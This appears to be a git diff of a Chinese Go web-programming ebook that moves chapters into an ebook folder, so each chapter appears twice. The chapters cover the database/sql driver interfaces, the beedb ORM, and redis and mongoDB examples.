这两个函数一个用来递交一个事务,一个用来回滚事务。
## driver.Execer
这是一个Conn可选择实现的接口
type Execer interface {
Exec(query string, args []Value) (Result, error)
}
如果这个接口没有定义那么在调用DB.Exec,就会首先调用Prepare返回Stmt然后执行Stmt的Exec然后关闭Stmt。
## driver.Result
这个是执行Update/Insert等操作返回的结果接口定义
type Result interface {
LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
RowsAffected函数返回query操作影响的数据条目数。
## driver.Rows
Rows是执行查询返回的结果集接口定义
type Rows interface {
Columns() []string
Close() error
Next(dest []Value) error
}
Columns函数返回查询数据库表的字段信息这个返回的slice和sql查询的字段一一对应而不是返回整个表的所有字段。
Close函数用来关闭Rows迭代器。
Next函数用来返回下一条数据把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了Next函数最后返回io.EOF。
## driver.RowsAffected
RowsAffested其实就是一个int64的别名但是他实现了Result接口用来底层实现Result的表示方式
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
## driver.Value
Value其实就是一个空接口他可以容纳任何的数据
type Value interface{}
drive的Value是驱动必须能够操作的ValueValue要么是nil要么是下面的任意一种
int64
float64
bool
[]byte
string [*]除了Rows.Next返回的不能是string.
time.Time
## driver.ValueConverter
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
type ValueConverter interface {
ConvertValue(v interface{}) (Value, error)
}
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到这个ValueConverter有很多好处
- 转化driver.value到数据库表相应的字段例如int64的数据如何转化成数据库表uint16字段
- 把数据库查询结果转化成driver.Value值
- 在scan函数里面如何把dirve.Value值转化成用户定义的值
## driver.Valuer
Valuer接口定义了返回一个driver.Value的方式
type Valuer interface {
Value() (Value, error)
}
很多类型都实现了这个Value方法用来自身与driver.Value的转化。
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
## database/sql
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法用以简化数据库操作,同时内部还建议性地实现一个conn pool。
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
我们可以看到Open函数返回的是DB对象里面有一个freeConn它就是那个简易的连接池。它的实现相当简单或者说简陋就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池每次调用conn的时候会先判断freeConn的长度是否大于0大于0说明有可以复用的conn直接拿出来用就是了如果不大于0则创建一个conn,然后再返回之。
## links
* [目录](<preface.md>)
* 上一节: [访问数据库](<05.0.md>)
* 下一节: [使用MySQL数据库](<05.2.md>)
# 5.1 database/sql接口
Go与PHP不同的地方是Go没有官方提供数据库驱动而是为开发者开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做有一个好处只要按照标准接口开发的代码 以后需要迁移数据库时不需要任何修改。那么Go都定义了哪些标准接口呢让我们来详细的分析一下
## sql.Register
这个存在于database/sql的函数是用来注册数据库驱动的当第三方开发者开发数据库驱动时都会实现init函数在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的
//https://github.com/mattn/go-sqlite3驱动
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql驱动
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
因此通过database/sql的注册函数可以同时注册多个数据库驱动只要不重复。
>在我们使用database/sql接口和第三方库的时候经常看到如下:
> import (
> "database/sql"
> _ "github.com/mattn/go-sqlite3"
> )
>新手都会被这个`_`所迷惑其实这个就是Go设计的巧妙之处我们在变量赋值的时候经常看到这个符号它是用来忽略变量赋值的占位符那么包引入用到这个符号也是相似的作用这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
>我们在2.3节流程和函数的一节中介绍过init函数的初始化过程包在引入的时候会自动调用包的init函数以完成对包的初始化。因此我们引入上面的数据库驱动包之后要手动去调用init函数然后在init函数里面注册这个数据库驱动这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
## driver.Driver
Driver是一个数据库驱动的接口他定义了一个method Open(name string)这个方法返回一个数据库的Conn接口。
type Driver interface {
Open(name string) (Conn, error)
}
返回的Conn只能用来进行一次goroutine的操作也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
...
go goroutineA (Conn) //执行查询操作
go goroutineB (Conn) //执行插入操作
...
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
第三方驱动都会定义这个函数它会解析name参数来获取相关数据库的连接信息解析完成后它将使用此信息来初始化一个Conn并返回它。
## driver.Conn
Conn是一个数据库连接的接口定义他定义了一系列方法这个Conn只能应用在一个goroutine里面不能使用在多个goroutine里面详情请参考上面的说明。
type Conn interface {
Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
Prepare函数返回与当前连接相关的执行Sql语句的准备状态可以进行查询、删除等操作。
Close函数关闭当前的连接执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool所以你不用再去实现缓存conn之类的这样会容易引起问题。
Begin函数返回一个代表事务处理的Tx通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
## driver.Stmt
Stmt是一种准备好的状态和Conn相关联而且只能应用于一个goroutine中不能应用于多个goroutine。
type Stmt interface {
Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
Close函数关闭当前的链接状态但是如果当前正在执行queryquery还是有效返回rows数据。
NumInput函数返回当前预留参数的个数当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候返回-1。
Exec函数执行Prepare准备好的sql传入参数执行update/insert等操作返回Result数据
Query函数执行Prepare准备好的sql传入需要的参数执行select操作返回Rows结果集
## driver.Tx
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
type Tx interface {
Commit() error
Rollback() error
}
这两个函数一个用来递交一个事务,一个用来回滚事务。
## driver.Execer
这是一个Conn可选择实现的接口
type Execer interface {
Exec(query string, args []Value) (Result, error)
}
如果这个接口没有定义那么在调用DB.Exec,就会首先调用Prepare返回Stmt然后执行Stmt的Exec然后关闭Stmt。
## driver.Result
这个是执行Update/Insert等操作返回的结果接口定义
type Result interface {
LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
RowsAffected函数返回query操作影响的数据条目数。
## driver.Rows
Rows是执行查询返回的结果集接口定义
type Rows interface {
Columns() []string
Close() error
Next(dest []Value) error
}
Columns函数返回查询数据库表的字段信息这个返回的slice和sql查询的字段一一对应而不是返回整个表的所有字段。
Close函数用来关闭Rows迭代器。
Next函数用来返回下一条数据把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了Next函数最后返回io.EOF。
## driver.RowsAffected
RowsAffested其实就是一个int64的别名但是他实现了Result接口用来底层实现Result的表示方式
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
## driver.Value
Value其实就是一个空接口他可以容纳任何的数据
type Value interface{}
drive的Value是驱动必须能够操作的ValueValue要么是nil要么是下面的任意一种
int64
float64
bool
[]byte
string [*]除了Rows.Next返回的不能是string.
time.Time
## driver.ValueConverter
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
type ValueConverter interface {
ConvertValue(v interface{}) (Value, error)
}
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到这个ValueConverter有很多好处
- 转化driver.value到数据库表相应的字段例如int64的数据如何转化成数据库表uint16字段
- 把数据库查询结果转化成driver.Value值
- 在scan函数里面如何把dirve.Value值转化成用户定义的值
## driver.Valuer
Valuer接口定义了返回一个driver.Value的方式
type Valuer interface {
Value() (Value, error)
}
很多类型都实现了这个Value方法用来自身与driver.Value的转化。
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
## database/sql
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法用以简化数据库操作,同时内部还建议性地实现一个conn pool。
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
我们可以看到Open函数返回的是DB对象里面有一个freeConn它就是那个简易的连接池。它的实现相当简单或者说简陋就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池每次调用conn的时候会先判断freeConn的长度是否大于0大于0说明有可以复用的conn直接拿出来用就是了如果不大于0则创建一个conn,然后再返回之。
## links
* [目录](<preface.md>)
* 上一节: [访问数据库](<05.0.md>)
* 下一节: [使用MySQL数据库](<05.2.md>)

0
05.2.md → ebook/05.2.md Executable file → Normal file
View File

0
05.3.md → ebook/05.3.md Executable file → Normal file
View File

0
05.4.md → ebook/05.4.md Executable file → Normal file
View File

498
05.5.md → ebook/05.5.md Executable file → Normal file
View File

@@ -1,249 +1,249 @@
# 5.5 使用beedb库进行ORM开发
beedb是我开发的一个Go进行ORM操作的库它采用了Go style方式对数据库进行操作实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架开发这个库的本意降低复杂的ORM学习曲线尽可能在ORM的运行效率和功能之间寻求一个平衡beedb是目前开源的Go ORM框架中实现比较完整的一个库而且运行效率相当不错功能也基本能满足需求。但是目前还不支持关系关联这个是接下来版本升级的重点。
beedb是支持database/sql标准接口的ORM库所以理论上来说只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个
Mysql:github.com/ziutek/mymysql/godrv[*]
Mysql:code.google.com/p/go-mysql-driver[*]
PostgreSQL:github.com/bmizerany/pq[*]
SQLite:github.com/mattn/go-sqlite3[*]
MS ADODB: github.com/mattn/go-adodb[*]
ODBC: bitbucket.org/miquella/mgodbc[*]
## 安装
beedb支持go get方式安装是完全按照Go Style的方式来实现的。
go get github.com/astaxie/beedb
## 如何初始化
首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包如下所示
import (
"database/sql"
"github.com/astaxie/beedb"
_ "github.com/ziutek/mymysql/godrv"
)
导入必须的package之后,我们需要打开到数据库的链接然后创建一个beedb对象以MySQL为例),如下所示
db, err := sql.Open("mymysql", "test/xiemengjun/123456")
if err != nil {
panic(err)
}
orm := beedb.New(db)
beedb的New函数实际上应该有两个参数第一个参数标准接口的db第二个参数是使用的数据库引擎如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。
如果你使用的数据库是SQLServer那么初始化需要
orm = beedb.New(db, "mssql")
如果你使用了PostgreSQL那么初始化需要
orm = beedb.New(db, "pg")
目前beedb支持打印调试你可以通过如下的代码实现调试
beedb.OnDebug=true
接下来我们的例子采用前面的数据库表Userinfo现在我们建立相应的struct
type Userinfo struct {
Uid int `PK` //如果表的主键不是id那么需要加上pk注释显式的说这个字段是主键
Username string
Departname string
Created time.Time
}
>注意一点beedb针对驼峰命名会自动帮你转化成下划线字段例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。
## 插入数据
下面的代码演示了如何插入一条记录可以看到我们操作的是strcut对象而不是原生的sql语句最后通过调用Save接口将数据保存到数据库。
var saveone Userinfo
saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)
我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。
beedb接口提供了另外一种插入的方式map数据插入。
add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)
插入多条数据
addslice := make([]map[string]interface{})
add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice =append(addslice, add, add2)
orm.SetTable("userinfo").Insert(addslice)
上面的操作方式有点类似链式查询熟悉jquery的同学应该会觉得很亲切每次调用的method都会返回原orm对象以便可以继续调用该对象上的其他method。
上面我们调用的SetTable函数是显式的告诉ORM我要执行的这个map对应的数据库表是`userinfo`
## 更新数据
继续上面的例子来演示更新操作现在saveone的主键已经有值了此时调用save接口beedb内部会自动调用update以进行数据的更新而非插入操作。
saveone.Username = "Update Username"
saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone) //现在saveone有了主键值就执行更新操作
更新数据也支持直接使用map操作
t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
这里我们调用了几个beedb的函数
SetPK显式的告诉ORM数据库表`userinfo`的主键是`uid`
Where:用来设置条件支持多个参数第一个参数如果为整数相当于调用了Where("主键=?",值)。
Updata函数接收map类型的数据执行更新数据。
## 查询数据
beedb的查询接口比较灵活具体使用请看下面的例子
例子1根据主键获取数据
var user Userinfo
//Where接受两个参数支持整形参数
orm.Where("uid=?", 27).Find(&user)
例子2
var user2 Userinfo
orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键
例子3不是主键类型的的条件
var user3 Userinfo
//Where接受两个参数支持字符型的参数
orm.Where("name = ?", "john").Find(&user3)
例子4更加复杂的条件
var user4 Userinfo
//Where支持三个参数
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
可以通过如下接口获取多条数据,请看示例
例子1根据条件id>3获取20位置开始的10条数据的数据
var allusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
例子2省略limit第二个参数默认从0开始获取10条数据
var tenusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
例子3获取全部数据
var everyone []Userinfo
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
上面这些里面里面我们看到一个函数Limit他是用来控制查询结构条数的。
Limit:支持两个参数第一个参数表示查询的条数第二个参数表示读取数据的起始位置默认为0。
OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。
上面这些例子都是将获取的的数据直接映射成struct对象如果我们只是想获取一些数据到map以下方式可以实现
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
上面和这个例子里面又出现了一个新的接口函数Select这个函数用来指定需要查询多少个字段。默认为全部字段`*`
FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。
## 删除数据
beedb提供了丰富的删除数据接口请看下面的例子
例子1删除单条数据
//saveone就是上面示例中的那个saveone
orm.Delete(&saveone)
例子2删除多条数据
//alluser就是上面定义的获取多条数据的slice
orm.DeleteAll(&alluser)
例子3根据sql删除数据
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
## 关联查询
目前beedb还不支持struct的关联关系但是有些应用却需要用到连接查询所以现在beedb提供了一个简陋的实现方案
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
上面代码中我们看到了一个新的接口Join函数这个函数带有三个参数
- 第一个参数可以是INNER, LEFT, OUTER, CROSS等
- 第二个参数表示连接的表
- 第三个参数表示连接的条件
## Group By和Having
针对有些应用需要用到group by和having的功能beedb也提供了一个简陋的实现
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
上面的代码中出现了两个新接口函数
GroupBy:用来指定进行groupby的字段
Having:用来指定having执行的时候的条件
## 进一步的发展
目前beedb已经获得了很多来自国内外用户的反馈我目前也正在考虑重构接下来会在几个方面进行改进
- 实现interface设计类似databse/sql/driver的设计设计beedb的接口然后去实现相应数据库的CRUD操作
- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下:
type Profile struct{
Nickname string
Mobile string
}
type Userinfo struct {
Uid int `PK`
Username string
Departname string
Created time.Time
Profile `HasOne`
}
- 自动建库建表建索引
- 实现连接池的实现采用goroutine
## links
* [目录](<preface.md>)
* 上一节: [使用PostgreSQL数据库](<05.4.md>)
* 下一节: [NOSQL数据库操作](<05.6.md>)
# 5.5 使用beedb库进行ORM开发
beedb是我开发的一个Go进行ORM操作的库它采用了Go style方式对数据库进行操作实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架开发这个库的本意降低复杂的ORM学习曲线尽可能在ORM的运行效率和功能之间寻求一个平衡beedb是目前开源的Go ORM框架中实现比较完整的一个库而且运行效率相当不错功能也基本能满足需求。但是目前还不支持关系关联这个是接下来版本升级的重点。
beedb是支持database/sql标准接口的ORM库所以理论上来说只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个
Mysql:github.com/ziutek/mymysql/godrv[*]
Mysql:code.google.com/p/go-mysql-driver[*]
PostgreSQL:github.com/bmizerany/pq[*]
SQLite:github.com/mattn/go-sqlite3[*]
MS ADODB: github.com/mattn/go-adodb[*]
ODBC: bitbucket.org/miquella/mgodbc[*]
## 安装
beedb支持go get方式安装是完全按照Go Style的方式来实现的。
go get github.com/astaxie/beedb
## 如何初始化
首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包如下所示
import (
"database/sql"
"github.com/astaxie/beedb"
_ "github.com/ziutek/mymysql/godrv"
)
导入必须的package之后,我们需要打开到数据库的链接然后创建一个beedb对象以MySQL为例),如下所示
db, err := sql.Open("mymysql", "test/xiemengjun/123456")
if err != nil {
panic(err)
}
orm := beedb.New(db)
beedb的New函数实际上应该有两个参数第一个参数标准接口的db第二个参数是使用的数据库引擎如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。
如果你使用的数据库是SQLServer那么初始化需要
orm = beedb.New(db, "mssql")
如果你使用了PostgreSQL那么初始化需要
orm = beedb.New(db, "pg")
目前beedb支持打印调试你可以通过如下的代码实现调试
beedb.OnDebug=true
接下来我们的例子采用前面的数据库表Userinfo现在我们建立相应的struct
type Userinfo struct {
Uid int `PK` //如果表的主键不是id那么需要加上pk注释显式的说这个字段是主键
Username string
Departname string
Created time.Time
}
>注意一点beedb针对驼峰命名会自动帮你转化成下划线字段例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。
## 插入数据
下面的代码演示了如何插入一条记录可以看到我们操作的是strcut对象而不是原生的sql语句最后通过调用Save接口将数据保存到数据库。
var saveone Userinfo
saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)
我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。
beedb接口提供了另外一种插入的方式map数据插入。
add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)
插入多条数据
addslice := make([]map[string]interface{})
add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice =append(addslice, add, add2)
orm.SetTable("userinfo").Insert(addslice)
上面的操作方式有点类似链式查询熟悉jquery的同学应该会觉得很亲切每次调用的method都会返回原orm对象以便可以继续调用该对象上的其他method。
上面我们调用的SetTable函数是显式的告诉ORM我要执行的这个map对应的数据库表是`userinfo`
## 更新数据
继续上面的例子来演示更新操作现在saveone的主键已经有值了此时调用save接口beedb内部会自动调用update以进行数据的更新而非插入操作。
saveone.Username = "Update Username"
saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone) //现在saveone有了主键值就执行更新操作
更新数据也支持直接使用map操作
t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
这里我们调用了几个beedb的函数
SetPK显式的告诉ORM数据库表`userinfo`的主键是`uid`
Where:用来设置条件支持多个参数第一个参数如果为整数相当于调用了Where("主键=?",值)。
Updata函数接收map类型的数据执行更新数据。
## 查询数据
beedb的查询接口比较灵活具体使用请看下面的例子
例子1根据主键获取数据
var user Userinfo
//Where接受两个参数支持整形参数
orm.Where("uid=?", 27).Find(&user)
例子2
var user2 Userinfo
orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键
例子3不是主键类型的的条件
var user3 Userinfo
//Where接受两个参数支持字符型的参数
orm.Where("name = ?", "john").Find(&user3)
例子4更加复杂的条件
var user4 Userinfo
//Where支持三个参数
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
可以通过如下接口获取多条数据,请看示例
例子1根据条件id>3获取20位置开始的10条数据的数据
var allusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
例子2省略limit第二个参数默认从0开始获取10条数据
var tenusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
例子3获取全部数据
var everyone []Userinfo
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
上面这些里面里面我们看到一个函数Limit他是用来控制查询结构条数的。
Limit:支持两个参数第一个参数表示查询的条数第二个参数表示读取数据的起始位置默认为0。
OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。
上面这些例子都是将获取的的数据直接映射成struct对象如果我们只是想获取一些数据到map以下方式可以实现
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
上面和这个例子里面又出现了一个新的接口函数Select这个函数用来指定需要查询多少个字段。默认为全部字段`*`
FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。
## 删除数据
beedb提供了丰富的删除数据接口请看下面的例子
例子1删除单条数据
//saveone就是上面示例中的那个saveone
orm.Delete(&saveone)
例子2删除多条数据
//alluser就是上面定义的获取多条数据的slice
orm.DeleteAll(&alluser)
例子3根据sql删除数据
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
## 关联查询
目前beedb还不支持struct的关联关系但是有些应用却需要用到连接查询所以现在beedb提供了一个简陋的实现方案
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
上面代码中我们看到了一个新的接口Join函数这个函数带有三个参数
- 第一个参数可以是INNER, LEFT, OUTER, CROSS等
- 第二个参数表示连接的表
- 第三个参数表示连接的条件
## Group By和Having
针对有些应用需要用到group by和having的功能beedb也提供了一个简陋的实现
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
上面的代码中出现了两个新接口函数
GroupBy:用来指定进行groupby的字段
Having:用来指定having执行的时候的条件
## 进一步的发展
目前beedb已经获得了很多来自国内外用户的反馈我目前也正在考虑重构接下来会在几个方面进行改进
- 实现interface设计类似databse/sql/driver的设计设计beedb的接口然后去实现相应数据库的CRUD操作
- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下:
type Profile struct{
Nickname string
Mobile string
}
type Userinfo struct {
Uid int `PK`
Username string
Departname string
Created time.Time
Profile `HasOne`
}
- 自动建库建表建索引
- 实现连接池的实现采用goroutine
## links
* [目录](<preface.md>)
* 上一节: [使用PostgreSQL数据库](<05.4.md>)
* 下一节: [NOSQL数据库操作](<05.6.md>)

228
05.6.md → ebook/05.6.md Executable file → Normal file
View File

@@ -1,114 +1,114 @@
# 5.6 NOSQL数据库操作
NoSQL(Not Only SQL)指的是非关系型的数据库。随着Web2.0的兴起传统的关系数据库在应付Web2.0网站特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。
而Go语言作为21世纪的C语言对NOSQL的支持也是很好目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。
## redis
redis是一个key-value存储系统。和Memcached类似它支持存储的value类型相对更多包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。
目前应用redis最广泛的应该是新浪微博平台其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis)
Go目前支持redis的驱动有如下
- https://github.com/alphazero/Go-Redis
- http://code.google.com/p/tideland-rdc/
- https://github.com/simonz05/godis
- https://github.com/hoisie/redis.go
目前我fork了最后一个驱动更新了一些bug目前应用在我自己的短域名服务项目中(每天200W左右的PV值)
https://github.com/astaxie/goredis
接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作
package main
import (
"github.com/astaxie/goredis"
"fmt"
)
func main() {
var client goredis.Client
//字符串操作
var client goredis.Client
client.Set("a", []byte("hello"))
val, _ := client.Get("a")
fmt.Println(string(val))
client.Del("a")
//list操作
var client goredis.Client
vals := []string{"a", "b", "c", "d", "e"}
for _, v := range vals {
client.Rpush("l", []byte(v))
}
dbvals,_ := client.Lrange("l", 0, 4)
for i, v := range dbvals {
println(i,":",string(v))
}
client.Del("l")
}
我们可以看到操作redis非常的方便而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。
## mongoDB
MongoDB是一个高性能开源无模式的文档型数据库是一个介于关系数据库和非关系数据库之间的产品是非关系数据库当中功能最丰富最像关系数据库的。他支持的数据结构非常松散采用的是类似json的bjson格式来存储数据因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大其语法有点类似于面向对象的查询语言几乎可以实现类似关系数据库单表查询的绝大部分功能而且还支持对数据建立索引。
下图展示了mysql和mongoDB之间的对应关系我们可以看出来非常的方便但是mongoDB的性能非常好。
![](images/5.6.mongodb.png?raw=true)
图5.1 MongoDB和Mysql的操作对比图
目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo)这个驱动目前最有可能成为官方的pkg。
下面我将演示如何通过Go来操作mongoDB
package main
import (
"fmt"
"labix.org/v2/mgo"
"labix.org/v2/mgo/bson"
)
type Person struct {
Name string
Phone string
}
func main() {
session, err := mgo.Dial("server1.example.com,server2.example.com")
if err != nil {
panic(err)
}
defer session.Close()
session.SetMode(mgo.Monotonic, true)
c := session.DB("test").C("people")
err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
&Person{"Cla", "+55 53 8402 8510"})
if err != nil {
panic(err)
}
result := Person{}
err = c.Find(bson.M{"name": "Ale"}).One(&result)
if err != nil {
panic(err)
}
fmt.Println("Phone:", result.Phone)
}
我们可以看出来mgo的操作方式和beedb的操作方式几乎类似都是基于strcut的操作方式这个就是Go Style。
## links
* [目录](<preface.md>)
* 上一节: [使用beedb库进行ORM开发](<05.5.md>)
* 下一节: [小结](<05.7.md>)
# 5.6 NOSQL数据库操作
NoSQL(Not Only SQL)指的是非关系型的数据库。随着Web2.0的兴起传统的关系数据库在应付Web2.0网站特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。
而Go语言作为21世纪的C语言对NOSQL的支持也是很好目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。
## redis
redis是一个key-value存储系统。和Memcached类似它支持存储的value类型相对更多包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。
目前应用redis最广泛的应该是新浪微博平台其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis)
Go目前支持redis的驱动有如下
- https://github.com/alphazero/Go-Redis
- http://code.google.com/p/tideland-rdc/
- https://github.com/simonz05/godis
- https://github.com/hoisie/redis.go
目前我fork了最后一个驱动更新了一些bug目前应用在我自己的短域名服务项目中(每天200W左右的PV值)
https://github.com/astaxie/goredis
接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作
package main
import (
"github.com/astaxie/goredis"
"fmt"
)
func main() {
var client goredis.Client
//字符串操作
var client goredis.Client
client.Set("a", []byte("hello"))
val, _ := client.Get("a")
fmt.Println(string(val))
client.Del("a")
//list操作
var client goredis.Client
vals := []string{"a", "b", "c", "d", "e"}
for _, v := range vals {
client.Rpush("l", []byte(v))
}
dbvals,_ := client.Lrange("l", 0, 4)
for i, v := range dbvals {
println(i,":",string(v))
}
client.Del("l")
}
我们可以看到操作redis非常的方便而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。
## mongoDB
MongoDB是一个高性能开源无模式的文档型数据库是一个介于关系数据库和非关系数据库之间的产品是非关系数据库当中功能最丰富最像关系数据库的。他支持的数据结构非常松散采用的是类似json的bjson格式来存储数据因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大其语法有点类似于面向对象的查询语言几乎可以实现类似关系数据库单表查询的绝大部分功能而且还支持对数据建立索引。
